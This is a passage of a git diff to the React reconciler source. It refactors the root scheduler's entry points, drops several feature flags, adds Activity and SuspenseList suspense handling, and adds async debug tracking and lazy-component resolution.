     if (existingCallbackNode !== null) {
@@ -345,9 +479,10 @@ function scheduleTaskForRootDuringMicrotask(
 
     let schedulerPriorityLevel;
     switch (lanesToEventPriority(nextLanes)) {
+      // Scheduler does have an "ImmediatePriority", but now that we use
+      // microtasks for sync work we no longer use that. Any sync work that
+      // reaches this path is meant to be time sliced.
       case DiscreteEventPriority:
-        schedulerPriorityLevel = ImmediateSchedulerPriority;
-        break;
       case ContinuousEventPriority:
         schedulerPriorityLevel = UserBlockingSchedulerPriority;
         break;
@@ -364,7 +499,7 @@ function scheduleTaskForRootDuringMicrotask(
 
     const newCallbackNode = scheduleCallback(
       schedulerPriorityLevel,
-      performConcurrentWorkOnRoot.bind(null, root),
+      performWorkOnRootViaSchedulerTask.bind(null, root),
     );
 
     root.callbackPriority = newCallbackPriority;
@@ -373,29 +508,119 @@ function scheduleTaskForRootDuringMicrotask(
   }
 }
 
-export type RenderTaskFn = (didTimeout: boolean) => RenderTaskFn | null;
+type RenderTaskFn = (didTimeout: boolean) => RenderTaskFn | null;
 
-export function getContinuationForRoot(
+function performWorkOnRootViaSchedulerTask(
   root: FiberRoot,
-  originalCallbackNode: mixed,
+  didTimeout: boolean,
 ): RenderTaskFn | null {
-  // This is called at the end of `performConcurrentWorkOnRoot` to determine
-  // if we need to schedule a continuation task.
-  //
+  // This is the entry point for concurrent tasks scheduled via Scheduler (and
+  // postTask, in the future).
+
+  if (enableProfilerTimer && enableProfilerNestedUpdatePhase) {
+    resetNestedUpdateFlag();
+  }
+
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    // Track the currently executing event if there is one so we can ignore this
+    // event when logging events.
+    trackSchedulerEvent();
+  }
+
+  if (hasPendingCommitEffects()) {
+    // We are currently in the middle of an async committing (such as a View Transition).
+    // We could force these to flush eagerly but it's better to defer any work until
+    // it finishes. This may not be the same root as we're waiting on.
+    // TODO: This relies on the commit eventually calling ensureRootIsScheduled which
+    // always calls processRootScheduleInMicrotask which in turn always loops through
+    // all the roots to figure out. This is all a bit inefficient and if optimized
+    // it'll need to consider rescheduling a task for any skipped roots.
+    root.callbackNode = null;
+    root.callbackPriority = NoLane;
+    return null;
+  }
+
+  // Flush any pending passive effects before deciding which lanes to work on,
+  // in case they schedule additional work.
+  const originalCallbackNode = root.callbackNode;
+  const didFlushPassiveEffects = flushPendingEffectsDelayed();
+  if (didFlushPassiveEffects) {
+    // Something in the passive effect phase may have canceled the current task.
+    // Check if the task node for this root was changed.
+    if (root.callbackNode !== originalCallbackNode) {
+      // The current task was canceled. Exit. We don't need to call
+      // `ensureRootIsScheduled` because the check above implies either that
+      // there's a new task, or that there's no remaining work on this root.
+      return null;
+    } else {
+      // Current task was not canceled. Continue.
+    }
+  }
+
+  // Determine the next lanes to work on, using the fields stored on the root.
+  // TODO: We already called getNextLanes when we scheduled the callback; we
+  // should be able to avoid calling it again by stashing the result on the
+  // root object. However, because we always schedule the callback during
+  // a microtask (scheduleTaskForRootDuringMicrotask), it's possible that
+  // an update was scheduled earlier during this same browser task (and
+  // therefore before the microtasks have run). That's because Scheduler batches
+  // together multiple callbacks into a single browser macrotask, without
+  // yielding to microtasks in between. We should probably change this to align
+  // with the postTask behavior (and literally use postTask when
+  // it's available).
+  const workInProgressRoot = getWorkInProgressRoot();
+  const workInProgressRootRenderLanes = getWorkInProgressRootRenderLanes();
+  const rootHasPendingCommit =
+    root.cancelPendingCommit !== null || root.timeoutHandle !== noTimeout;
+  const lanes = getNextLanes(
+    root,
+    root === workInProgressRoot ? workInProgressRootRenderLanes : NoLanes,
+    rootHasPendingCommit,
+  );
+  if (lanes === NoLanes) {
+    // No more work on this root.
+    return null;
+  }
+
+  // Enter the work loop.
+  // TODO: We only check `didTimeout` defensively, to account for a Scheduler
+  // bug we're still investigating. Once the bug in Scheduler is fixed,
+  // we can remove this, since we track expiration ourselves.
+  const forceSync = !disableSchedulerTimeoutInWorkLoop && didTimeout;
+  performWorkOnRoot(root, lanes, forceSync);
+
+  // The work loop yielded, but there may or may not be work left at the current
+  // priority. Need to determine whether we need to schedule a continuation.
   // Usually `scheduleTaskForRootDuringMicrotask` only runs inside a microtask;
   // however, since most of the logic for determining if we need a continuation
   // versus a new task is the same, we cheat a bit and call it here. This is
   // only safe to do because we know we're at the end of the browser task.
   // So although it's not an actual microtask, it might as well be.
   scheduleTaskForRootDuringMicrotask(root, now());
-  if (root.callbackNode === originalCallbackNode) {
+  if (root.callbackNode != null && root.callbackNode === originalCallbackNode) {
     // The task node scheduled for this root is the same one that's
     // currently executed. Need to return a continuation.
-    return performConcurrentWorkOnRoot.bind(null, root);
+    return performWorkOnRootViaSchedulerTask.bind(null, root);
   }
   return null;
 }
 
+function performSyncWorkOnRoot(root: FiberRoot, lanes: Lanes) {
+  // This is the entry point for synchronous tasks that don't go
+  // through Scheduler.
+  const didFlushPassiveEffects = flushPendingEffects();
+  if (didFlushPassiveEffects) {
+    // If passive effects were flushed, exit to the outer work loop in the root
+    // scheduler, so we can recompute the priority.
+    return null;
+  }
+  if (enableProfilerTimer && enableProfilerNestedUpdatePhase) {
+    syncNestedUpdateFlag();
+  }
+  const forceSync = true;
+  performWorkOnRoot(root, lanes, forceSync);
+}
+
 const fakeActCallbackNode = {};
 
 function scheduleCallback(
@@ -422,7 +647,7 @@ function cancelCallback(callbackNode: mixed) {
   }
 }
 
-function scheduleImmediateTask(cb: () => mixed) {
+function scheduleImmediateRootScheduleTask() {
   if (__DEV__ && ReactSharedInternals.actQueue !== null) {
     // Special case: Inside an `act` scope, we push microtasks to the fake `act`
     // callback queue. This is because we currently support calling `act`
@@ -430,7 +655,7 @@ function scheduleImmediateTask(cb: () => mixed) {
     // that you always await the result so that the microtasks have a chance to
     // run. But it hasn't happened yet.
     ReactSharedInternals.actQueue.push(() => {
-      cb();
+      processRootScheduleInMicrotask();
       return null;
     });
   }
@@ -452,14 +677,20 @@ function scheduleImmediateTask(cb: () => mixed) {
         // wrong semantically but it prevents an infinite loop. The bug is
         // Safari's, not ours, so we just do our best to not crash even though
         // the behavior isn't completely correct.
-        Scheduler_scheduleCallback(ImmediateSchedulerPriority, cb);
+        Scheduler_scheduleCallback(
+          ImmediateSchedulerPriority,
+          processRootScheduleInImmediateTask,
+        );
         return;
       }
-      cb();
+      processRootScheduleInMicrotask();
     });
   } else {
     // If microtasks are not supported, use Scheduler.
-    Scheduler_scheduleCallback(ImmediateSchedulerPriority, cb);
+    Scheduler_scheduleCallback(
+      ImmediateSchedulerPriority,
+      processRootScheduleInImmediateTask,
+    );
   }
 }
 
@@ -467,7 +698,7 @@ export function requestTransitionLane(
   // This argument isn't used, it's only here to encourage the caller to
   // check that it's inside a transition before calling this function.
   // TODO: Make this non-nullable. Requires a tweak to useOptimistic.
-  transition: BatchConfigTransition | null,
+  transition: Transition | null,
 ): Lane {
   // The algorithm for assigning an update to a lane should be stable for all
   // updates at the same priority within the same event. To do this, the
@@ -478,7 +709,15 @@ export function requestTransitionLane(
   // over. Our heuristic for that is whenever we enter a concurrent work loop.
   if (currentEventTransitionLane === NoLane) {
     // All transitions within the same event are assigned the same lane.
-    currentEventTransitionLane = claimNextTransitionLane();
+    const actionScopeLane = peekEntangledActionLane();
+    currentEventTransitionLane =
+      actionScopeLane !== NoLane
+        ? // We're inside an async action scope. Reuse the same lane.
+          actionScopeLane
+        : // We may or may not be inside an async action scope. If we are, this
+          // is the first update in that scope. Either way, we need to get a
+          // fresh transition lane.
+          claimNextTransitionUpdateLane();
   }
   return currentEventTransitionLane;
 }
@@ -486,3 +725,13 @@ export function requestTransitionLane(
 export function didCurrentEventScheduleTransition(): boolean {
   return currentEventTransitionLane !== NoLane;
 }
+
+export function markIndicatorHandled(root: FiberRoot): void {
+  if (enableDefaultTransitionIndicator) {
+    // The current transition event rendered a synchronous loading state.
+    // Clear it from the indicator lanes. We don't need to show a separate
+    // loading state for this lane.
+    root.indicatorLanes &= ~currentEventTransitionLane;
+    markIsomorphicIndicatorHandled();
+  }
+}
diff --git a/packages/react-reconciler/src/ReactFiberScope.js b/packages/react-reconciler/src/ReactFiberScope.js
index 0cb1c62ba8d0..8f9f1cdea577 100644
--- a/packages/react-reconciler/src/ReactFiberScope.js
+++ b/packages/react-reconciler/src/ReactFiberScope.js
@@ -22,10 +22,7 @@ import {
 import {isFiberSuspenseAndTimedOut} from './ReactFiberTreeReflection';
 
 import {HostComponent, ScopeComponent, ContextProvider} from './ReactWorkTags';
-import {
-  enableScopeAPI,
-  enableRenderableContext,
-} from 'shared/ReactFeatureFlags';
+import {enableScopeAPI} from 'shared/ReactFeatureFlags';
 
 function getSuspenseFallbackChild(fiber: Fiber): Fiber | null {
   return ((((fiber.child: any): Fiber).sibling: any): Fiber).child;
@@ -116,10 +113,7 @@ function collectNearestContextValues<T>(
   context: ReactContext<T>,
   childContextValues: Array<T>,
 ): void {
-  if (
-    node.tag === ContextProvider &&
-    (enableRenderableContext ? node.type : node.type._context) === context
-  ) {
+  if (node.tag === ContextProvider && node.type === context) {
     const contextValue = node.memoizedProps.value;
     childContextValues.push(contextValue);
   } else {
diff --git a/packages/react-reconciler/src/ReactFiberStack.js b/packages/react-reconciler/src/ReactFiberStack.js
index 985fb421ebd0..1af6dd6971db 100644
--- a/packages/react-reconciler/src/ReactFiberStack.js
+++ b/packages/react-reconciler/src/ReactFiberStack.js
@@ -27,10 +27,6 @@ function createCursor<T>(defaultValue: T): StackCursor<T> {
   };
 }
 
-function isEmpty(): boolean {
-  return index === -1;
-}
-
 function pop<T>(cursor: StackCursor<T>, fiber: Fiber): void {
   if (index < 0) {
     if (__DEV__) {
@@ -67,31 +63,4 @@ function push<T>(cursor: StackCursor<T>, value: T, fiber: Fiber): void {
 
   cursor.current = value;
 }
-
-function checkThatStackIsEmpty() {
-  if (__DEV__) {
-    if (index !== -1) {
-      console.error(
-        'Expected an empty stack. Something was not reset properly.',
-      );
-    }
-  }
-}
-
-function resetStackAfterFatalErrorInDev() {
-  if (__DEV__) {
-    index = -1;
-    valueStack.length = 0;
-    fiberStack.length = 0;
-  }
-}
-
-export {
-  createCursor,
-  isEmpty,
-  pop,
-  push,
-  // DEV only:
-  checkThatStackIsEmpty,
-  resetStackAfterFatalErrorInDev,
-};
+export {createCursor, pop, push};
diff --git a/packages/react-reconciler/src/ReactFiberSuspenseComponent.js b/packages/react-reconciler/src/ReactFiberSuspenseComponent.js
index 1f558a44903e..695c36971546 100644
--- a/packages/react-reconciler/src/ReactFiberSuspenseComponent.js
+++ b/packages/react-reconciler/src/ReactFiberSuspenseComponent.js
@@ -7,11 +7,12 @@
  * @flow
  */
 
-import type {ReactNodeList, Wakeable} from 'shared/ReactTypes';
+import type {Wakeable, SuspenseListTailMode} from 'shared/ReactTypes';
 import type {Fiber} from './ReactInternalTypes';
 import type {SuspenseInstance} from './ReactFiberConfig';
 import type {Lane} from './ReactFiberLane';
 import type {TreeContext} from './ReactFiberTreeContext';
+import type {CapturedValue} from './ReactCapturedValue';
 
 import {SuspenseComponent, SuspenseListComponent} from './ReactWorkTags';
 import {NoFlags, DidCapture} from './ReactFiberFlags';
@@ -20,18 +21,6 @@ import {
   isSuspenseInstanceFallback,
 } from './ReactFiberConfig';
 
-export type SuspenseProps = {
-  children?: ReactNodeList,
-  fallback?: ReactNodeList,
-
-  // TODO: Add "unstable_" prefix?
-  suspenseCallback?: (Set<Wakeable> | null) => mixed,
-
-  unstable_avoidThisFallback?: boolean,
-  unstable_expectedLoadTime?: number,
-  unstable_name?: string,
-};
-
 // A null SuspenseState represents an unsuspended normal Suspense boundary.
 // A non-null SuspenseState means that it is blocked for one reason or another.
 // - A non-null dehydrated field means it's blocked pending hydration.
@@ -49,10 +38,10 @@ export type SuspenseState = {
   // OffscreenLane is the default for dehydrated boundaries.
   // NoLane is the default for normal boundaries, which turns into "normal" pri.
   retryLane: Lane,
+  // Stashed Errors that happened while attempting to hydrate this boundary.
+  hydrationErrors: Array<CapturedValue<mixed>> | null,
 };
 
-export type SuspenseListTailMode = 'collapsed' | 'hidden' | void;
-
 export type SuspenseListRenderState = {
   isBackwards: boolean,
   // The currently rendering tail row.
@@ -65,6 +54,8 @@ export type SuspenseListRenderState = {
   tail: null | Fiber,
   // Tail insertions setting.
   tailMode: SuspenseListTailMode,
+  // Keep track of total number of forks during multiple passes
+  treeForkCount: number,
 };
 
 export type RetryQueue = Set<Wakeable>;
@@ -86,9 +77,9 @@ export function findFirstSuspended(row: Fiber): null | Fiber {
       }
     } else if (
       node.tag === SuspenseListComponent &&
-      // revealOrder undefined can't be trusted because it don't
+      // Independent revealOrder can't be trusted because it doesn't
       // keep track of whether it suspended or not.
-      node.memoizedProps.revealOrder !== undefined
+      node.memoizedProps.revealOrder !== 'independent'
     ) {
       const didSuspend = (node.flags & DidCapture) !== NoFlags;
       if (didSuspend) {
diff --git a/packages/react-reconciler/src/ReactFiberSuspenseContext.js b/packages/react-reconciler/src/ReactFiberSuspenseContext.js
index a03b45356a1f..aec47af4656e 100644
--- a/packages/react-reconciler/src/ReactFiberSuspenseContext.js
+++ b/packages/react-reconciler/src/ReactFiberSuspenseContext.js
@@ -7,10 +7,10 @@
  * @flow
  */
 
+import type {SuspenseProps} from 'shared/ReactTypes';
 import type {Fiber} from './ReactInternalTypes';
 import type {StackCursor} from './ReactFiberStack';
-import type {SuspenseProps, SuspenseState} from './ReactFiberSuspenseComponent';
-import type {OffscreenState} from './ReactFiberActivityComponent';
+import type {SuspenseState} from './ReactFiberSuspenseComponent';
 
 import {enableSuspenseAvoidThisFallback} from 'shared/ReactFeatureFlags';
 import {createCursor, push, pop} from './ReactFiberStack';
@@ -48,9 +48,10 @@ export function pushPrimaryTreeSuspenseHandler(handler: Fiber): void {
   // Shallow Suspense context fields, like ForceSuspenseFallback, should only be
   // propagated a single level. For example, when ForceSuspenseFallback is set,
   // it should only force the nearest Suspense boundary into fallback mode.
-  pushSuspenseListContext(
-    handler,
+  push(
+    suspenseStackCursor,
     setDefaultShallowSuspenseListContext(suspenseStackCursor.current),
+    handler,
   );
 
   // Experimental feature: Some Suspense boundaries are marked as having an
@@ -106,27 +107,33 @@ export function pushFallbackTreeSuspenseHandler(fiber: Fiber): void {
   reuseSuspenseHandlerOnStack(fiber);
 }
 
+export function pushDehydratedActivitySuspenseHandler(fiber: Fiber): void {
+  // This is called when hydrating an Activity boundary. We can just leave it
+  // dehydrated if it suspends.
+  // A SuspenseList context is only pushed here to avoid a push/pop mismatch.
+  // Reuse the current value on the stack.
+  // TODO: We can avoid needing to push here by by forking popSuspenseHandler
+  // into separate functions for Activity, Suspense and Offscreen.
+  push(suspenseStackCursor, suspenseStackCursor.current, fiber);
+  push(suspenseHandlerStackCursor, fiber, fiber);
+  if (shellBoundary === null) {
+    // We can contain any suspense inside the Activity boundary.
+    shellBoundary = fiber;
+  }
+}
+
 export function pushOffscreenSuspenseHandler(fiber: Fiber): void {
   if (fiber.tag === OffscreenComponent) {
     // A SuspenseList context is only pushed here to avoid a push/pop mismatch.
     // Reuse the current value on the stack.
     // TODO: We can avoid needing to push here by by forking popSuspenseHandler
-    // into separate functions for Suspense and Offscreen.
-    pushSuspenseListContext(fiber, suspenseStackCursor.current);
+    // into separate functions for Activity, Suspense and Offscreen.
+    push(suspenseStackCursor, suspenseStackCursor.current, fiber);
     push(suspenseHandlerStackCursor, fiber, fiber);
-    if (shellBoundary !== null) {
-      // A parent boundary is showing a fallback, so we've already rendered
-      // deeper than the shell.
-    } else {
-      const current = fiber.alternate;
-      if (current !== null) {
-        const prevState: OffscreenState = current.memoizedState;
-        if (prevState !== null) {
-          // This is the first boundary in the stack that's already showing
-          // a fallback. So everything outside is considered the shell.
-          shellBoundary = fiber;
-        }
-      }
+    if (shellBoundary === null) {
+      // We're rendering hidden content. If it suspends, we can handle it by
+      // just not committing the offscreen boundary.
+      shellBoundary = fiber;
     }
   } else {
     // This is a LegacyHidden component.
@@ -135,7 +142,7 @@ export function pushOffscreenSuspenseHandler(fiber: Fiber): void {
 }
 
 export function reuseSuspenseHandlerOnStack(fiber: Fiber) {
-  pushSuspenseListContext(fiber, suspenseStackCursor.current);
+  push(suspenseStackCursor, suspenseStackCursor.current, fiber);
   push(suspenseHandlerStackCursor, getSuspenseHandler(), fiber);
 }
 
@@ -149,7 +156,7 @@ export function popSuspenseHandler(fiber: Fiber): void {
     // Popping back into the shell.
     shellBoundary = null;
   }
-  popSuspenseListContext(fiber);
+  pop(suspenseStackCursor, fiber);
 }
 
 // SuspenseList context
@@ -195,9 +202,32 @@ export function pushSuspenseListContext(
   fiber: Fiber,
   newContext: SuspenseContext,
 ): void {
+  // Push the current handler in this case since we're not catching at the SuspenseList
+  // for typical rows.
+  const handlerOnStack = suspenseHandlerStackCursor.current;
+  push(suspenseHandlerStackCursor, handlerOnStack, fiber);
   push(suspenseStackCursor, newContext, fiber);
 }
 
+export function pushSuspenseListCatch(
+  fiber: Fiber,
+  newContext: SuspenseContext,
+): void {
+  // In this case we do want to handle catching suspending on the actual boundary itself.
+  // This is used for rows that are allowed to be hidden anyway.
+  push(suspenseHandlerStackCursor, fiber, fiber);
+  push(suspenseStackCursor, newContext, fiber);
+  if (shellBoundary === null) {
+    // We can contain the effects to hiding the current row.
+    shellBoundary = fiber;
+  }
+}
+
 export function popSuspenseListContext(fiber: Fiber): void {
   pop(suspenseStackCursor, fiber);
+  pop(suspenseHandlerStackCursor, fiber);
+  if (shellBoundary === fiber) {
+    // Popping back into the shell.
+    shellBoundary = null;
+  }
 }
diff --git a/packages/react-reconciler/src/ReactFiberThenable.js b/packages/react-reconciler/src/ReactFiberThenable.js
index 8c302e99a32f..643be63ffa1c 100644
--- a/packages/react-reconciler/src/ReactFiberThenable.js
+++ b/packages/react-reconciler/src/ReactFiberThenable.js
@@ -12,12 +12,21 @@ import type {
   PendingThenable,
   FulfilledThenable,
   RejectedThenable,
+  ReactIOInfo,
 } from 'shared/ReactTypes';
 
+import type {LazyComponent as LazyComponentType} from 'react/src/ReactLazy';
+
+import {callLazyInitInDEV} from './ReactFiberCallUserSpace';
+
 import {getWorkInProgressRoot} from './ReactFiberWorkLoop';
 
 import ReactSharedInternals from 'shared/ReactSharedInternals';
 
+import {enableAsyncDebugInfo} from 'shared/ReactFeatureFlags';
+
+import noop from 'shared/noop';
+
 opaque type ThenableStateDev = {
   didWarnAboutUncachedPromise: boolean,
   thenables: Array<Thenable<any>>,
@@ -46,7 +55,7 @@ export const SuspenseException: mixed = new Error(
     '`try/catch` block. Capturing without rethrowing will lead to ' +
     'unexpected behavior.\n\n' +
     'To handle async errors, wrap your component in an error boundary, or ' +
-    "call the promise's `.catch` method and pass the result to `use`",
+    "call the promise's `.catch` method and pass the result to `use`.",
 );
 
 export const SuspenseyCommitException: mixed = new Error(
@@ -54,6 +63,14 @@ export const SuspenseyCommitException: mixed = new Error(
     "userspace. If you're seeing this, it's likely a bug in React.",
 );
 
+export const SuspenseActionException: mixed = new Error(
+  "Suspense Exception: This is not a real error! It's an implementation " +
+    'detail of `useActionState` to interrupt the current render. You must either ' +
+    'rethrow it immediately, or move the `useActionState` call outside of the ' +
+    '`try/catch` block. Capturing without rethrowing will lead to ' +
+    'unexpected behavior.\n\n' +
+    'To handle async errors, wrap your component in an error boundary.',
+);
 // This is a noop thenable that we use to trigger a fallback in throwException.
 // TODO: It would be better to refactor throwException into multiple functions
 // so we can trigger a fallback directly without having to check the type. But
@@ -87,8 +104,6 @@ export function isThenableResolved(thenable: Thenable<mixed>): boolean {
   return status === 'fulfilled' || status === 'rejected';
 }
 
-function noop(): void {}
-
 export function trackUsedThenable<T>(
   thenableState: ThenableState,
   thenable: Thenable<T>,
@@ -142,6 +157,33 @@ export function trackUsedThenable<T>(
     }
   }
 
+  if (__DEV__ && enableAsyncDebugInfo && thenable._debugInfo === undefined) {
+    // In DEV mode if the thenable that we observed had no debug info, then we add
+    // an inferred debug info so that we're able to track its potential I/O uniquely.
+    // We don't know the real start time since the I/O could have started much
+    // earlier and this could even be a cached Promise. Could be misleading.
+    const startTime = performance.now();
+    const displayName = thenable.displayName;
+    const ioInfo: ReactIOInfo = {
+      name: typeof displayName === 'string' ? displayName : 'Promise',
+      start: startTime,
+      end: startTime,
+      value: (thenable: any),
+      // We don't know the requesting owner nor stack.
+    };
+    // We can infer the await owner/stack lazily from where this promise ends up
+    // used. It can be used in more than one place so we can't assign it here.
+    thenable._debugInfo = [{awaited: ioInfo}];
+    // Track when we resolved the Promise as the approximate end time.
+    if (thenable.status !== 'fulfilled' && thenable.status !== 'rejected') {
+      const trackEndTime = () => {
+        // $FlowFixMe[cannot-write]
+        ioInfo.end = performance.now();
+      };
+      thenable.then(trackEndTime, trackEndTime);
+    }
+  }
+
   // We use an expando to track the status and result of a thenable so that we
   // can synchronously unwrap the value. Think of this as an extension of the
   // Promise API, or a custom interface that is a superset of Thenable.
@@ -186,8 +228,9 @@ export function trackUsedThenable<T>(
           // this case include forcing a concurrent render, or putting the whole
           // root into offscreen mode.
           throw new Error(
-            'async/await is not yet supported in Client Components, only ' +
-              'Server Components. This error is often caused by accidentally ' +
+            'An unknown Component is an async Client Component. ' +
+              'Only Server Components can be async at the moment. ' +
+              'This error is often caused by accidentally ' +
               "adding `'use client'` to a module that was originally written " +
               'for the server.',
           );
@@ -214,7 +257,7 @@ export function trackUsedThenable<T>(
       }
 
       // Check one more time in case the thenable resolved synchronously.
-      switch (thenable.status) {
+      switch ((thenable: Thenable<T>).status) {
         case 'fulfilled': {
           const fulfilledThenable: FulfilledThenable<T> = (thenable: any);
           return fulfilledThenable.value;
@@ -251,6 +294,27 @@ export function suspendCommit(): void {
   throw SuspenseyCommitException;
 }
 
+export function resolveLazy<T>(lazyType: LazyComponentType<T, any>): T {
+  try {
+    if (__DEV__) {
+      return callLazyInitInDEV(lazyType);
+    }
+    const payload = lazyType._payload;
+    const init = lazyType._init;
+    return init(payload);
+  } catch (x) {
+    if (x !== null && typeof x === 'object' && typeof x.then === 'function') {
+      // This lazy Suspended. Treat this as if we called use() to unwrap it.
+      suspendedThenable = x;
+      if (__DEV__) {
+        needsToResetSuspendedThenableDEV = true;
+      }
+      throw SuspenseException;
+    }
+    throw x;
+  }
+}
+
 // This is used to track the actual thenable that suspended so it can be
 // passed to the rest of the Suspense implementation — which, for historical
 // reasons, expects to receive a thenable.
@@ -296,7 +360,10 @@ export function checkIfUseWrappedInAsyncCatch(rejectedReason: any) {
   // execution context is to check the dispatcher every time `use` is called,
   // or some equivalent. That might be preferable for other reasons, too, since
   // it matches how we prevent similar mistakes for other hooks.
-  if (rejectedReason === SuspenseException) {
+  if (
+    rejectedReason === SuspenseException ||
+    rejectedReason === SuspenseActionException
+  ) {
     throw new Error(
       'Hooks are not supported inside an async component. This ' +
         "error is often caused by accidentally adding `'use client'` " +
diff --git a/packages/react-reconciler/src/ReactFiberThrow.js b/packages/react-reconciler/src/ReactFiberThrow.js
index cf91f0e68a68..d04bff34faed 100644
--- a/packages/react-reconciler/src/ReactFiberThrow.js
+++ b/packages/react-reconciler/src/ReactFiberThrow.js
@@ -12,7 +12,10 @@ import type {Lane, Lanes} from './ReactFiberLane';
 import type {CapturedValue} from './ReactCapturedValue';
 import type {Update} from './ReactFiberClassUpdateQueue';
 import type {Wakeable} from 'shared/ReactTypes';
-import type {OffscreenQueue} from './ReactFiberActivityComponent';
+import type {
+  OffscreenQueue,
+  OffscreenState,
+} from './ReactFiberOffscreenComponent';
 import type {RetryQueue} from './ReactFiberSuspenseComponent';
 
 import getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';
@@ -24,8 +27,10 @@ import {
   FunctionComponent,
   ForwardRef,
   SimpleMemoComponent,
+  ActivityComponent,
   SuspenseComponent,
   OffscreenComponent,
+  SuspenseListComponent,
 } from './ReactWorkTags';
 import {
   DidCapture,
@@ -37,12 +42,9 @@ import {
   ForceClientRender,
   ScheduleRetry,
 } from './ReactFiberFlags';
-import {NoMode, ConcurrentMode, DebugTracingMode} from './ReactTypeOfMode';
+import {NoMode, ConcurrentMode} from './ReactTypeOfMode';
 import {
-  enableDebugTracing,
-  enableLazyContextPropagation,
   enableUpdaterTracking,
-  enablePostpone,
   disableLegacyMode,
 } from 'shared/ReactFeatureFlags';
 import {createCapturedValueAtFiber} from './ReactCapturedValue';
@@ -70,7 +72,6 @@ import {
 } from './ReactFiberWorkLoop';
 import {propagateParentContextChangesToDeferredTree} from './ReactFiberNewContext';
 import {logUncaughtError, logCaughtError} from './ReactFiberErrorLogger';
-import {logComponentSuspended} from './DebugTracing';
 import {isDevToolsPresent} from './ReactFiberDevToolsHook';
 import {
   SyncLane,
@@ -86,8 +87,8 @@ import {
 } from './ReactFiberHydrationContext';
 import {ConcurrentRoot} from './ReactRootTags';
 import {noopSuspenseyCommitThenable} from './ReactFiberThenable';
-import {REACT_POSTPONE_TYPE} from 'shared/ReactSymbols';
 import {runWithFiberInDEV} from './ReactCurrentFiber';
+import {callComponentDidCatchInDEV} from './ReactFiberCallUserSpace';
 
 function createRootErrorUpdate(
   root: FiberRoot,
@@ -172,11 +173,15 @@ function initializeClassErrorUpdate(
         // not defined.
         markLegacyErrorBoundaryAsFailed(this);
       }
-      const error = errorInfo.value;
-      const stack = errorInfo.stack;
-      this.componentDidCatch(error, {
-        componentStack: stack !== null ? stack : '',
-      });
+      if (__DEV__) {
+        callComponentDidCatchInDEV(this, errorInfo);
+      } else {
+        const error = errorInfo.value;
+        const stack = errorInfo.stack;
+        this.componentDidCatch(error, {
+          componentStack: stack !== null ? stack : '',
+        });
+      }
       if (__DEV__) {
         if (typeof getDerivedStateFromError !== 'function') {
           // If componentDidCatch is the only error boundary method defined,
@@ -196,21 +201,19 @@ function initializeClassErrorUpdate(
 }
 
 function resetSuspendedComponent(sourceFiber: Fiber, rootRenderLanes: Lanes) {
-  if (enableLazyContextPropagation) {
-    const currentSourceFiber = sourceFiber.alternate;
-    if (currentSourceFiber !== null) {
-      // Since we never visited the children of the suspended component, we
-      // need to propagate the context change now, to ensure that we visit
-      // them during the retry.
-      //
-      // We don't have to do this for errors because we retry errors without
-      // committing in between. So this is specific to Suspense.
-      propagateParentContextChangesToDeferredTree(
-        currentSourceFiber,
-        sourceFiber,
-        rootRenderLanes,
-      );
-    }
+  const currentSourceFiber = sourceFiber.alternate;
+  if (currentSourceFiber !== null) {
+    // Since we never visited the children of the suspended component, we
+    // need to propagate the context change now, to ensure that we visit
+    // them during the retry.
+    //
+    // We don't have to do this for errors because we retry errors without
+    // committing in between. So this is specific to Suspense.
+    propagateParentContextChangesToDeferredTree(
+      currentSourceFiber,
+      sourceFiber,
+      rootRenderLanes,
+    );
   }
 
   // Reset the memoizedState to what it was before we attempted to render it.
@@ -376,10 +379,6 @@ function throwException(
   }
 
   if (value !== null && typeof value === 'object') {
-    if (enablePostpone && value.$$typeof === REACT_POSTPONE_TYPE) {
-      // Act as if this is an infinitely suspending promise.
-      value = {then: function () {}};
-    }
     if (typeof value.then === 'function') {
       // This is a wakeable. The component suspended.
       const wakeable: Wakeable = (value: any);
@@ -394,21 +393,14 @@ function throwException(
         }
       }
 
-      if (__DEV__) {
-        if (enableDebugTracing) {
-          if (sourceFiber.mode & DebugTracingMode) {
-            const name = getComponentNameFromFiber(sourceFiber) || 'Unknown';
-            logComponentSuspended(name, wakeable);
-          }
-        }
-      }
-
       // Mark the nearest Suspense boundary to switch to rendering a fallback.
       const suspenseBoundary = getSuspenseHandler();
       if (suspenseBoundary !== null) {
         switch (suspenseBoundary.tag) {
-          case SuspenseComponent: {
-            // If this suspense boundary is not already showing a fallback, mark
+          case ActivityComponent:
+          case SuspenseComponent:
+          case SuspenseListComponent: {
+            // If this suspense/activity boundary is not already showing a fallback, mark
             // the in-progress render as suspended. We try to perform this logic
             // as soon as soon as possible during the render phase, so the work
             // loop can know things like whether it's OK to switch to other tasks,
@@ -562,19 +554,26 @@ function throwException(
     (disableLegacyMode || sourceFiber.mode & ConcurrentMode)
   ) {
     markDidThrowWhileHydratingDEV();
-    const suspenseBoundary = getSuspenseHandler();
+    const hydrationBoundary = getSuspenseHandler();
     // If the error was thrown during hydration, we may be able to recover by
     // discarding the dehydrated content and switching to a client render.
     // Instead of surfacing the error, find the nearest Suspense boundary
     // and render it again without hydration.
-    if (suspenseBoundary !== null) {
-      if ((suspenseBoundary.flags & ShouldCapture) === NoFlags) {
+    if (hydrationBoundary !== null) {
+      if (__DEV__) {
+        if (hydrationBoundary.tag === SuspenseListComponent) {
+          console.error(
+            'SuspenseList should never catch while hydrating. This is a bug in React.',
+          );
+        }
+      }
+      if ((hydrationBoundary.flags & ShouldCapture) === NoFlags) {
         // Set a flag to indicate that we should try rendering the normal
         // children again, not the fallback.
-        suspenseBoundary.flags |= ForceClientRender;
+        hydrationBoundary.flags |= ForceClientRender;
       }
       markSuspenseBoundaryShouldCapture(
-        suspenseBoundary,
+        hydrationBoundary,
         returnFiber,
         sourceFiber,
         root,
@@ -680,6 +679,21 @@ function throwException(
           return false;
         }
         break;
+      case OffscreenComponent: {
+        const offscreenState: OffscreenState | null =
+          (workInProgress.memoizedState: any);
+        if (offscreenState !== null) {
+          // An error was thrown inside a hidden Offscreen boundary. This should
+          // not be allowed to escape into the visible part of the UI. Mark the
+          // boundary with ShouldCapture to abort the ongoing prerendering
+          // attempt. This is the same flag would be set if something were to
+          // suspend. It will be cleared the next time the boundary
+          // is attempted.
+          workInProgress.flags |= ShouldCapture;
+          return false;
+        }
+        break;
+      }
       default:
         break;
     }
diff --git a/packages/react-reconciler/src/ReactFiberTracingMarkerComponent.js b/packages/react-reconciler/src/ReactFiberTracingMarkerComponent.js
index 039daafa6fa1..a54025294bb5 100644
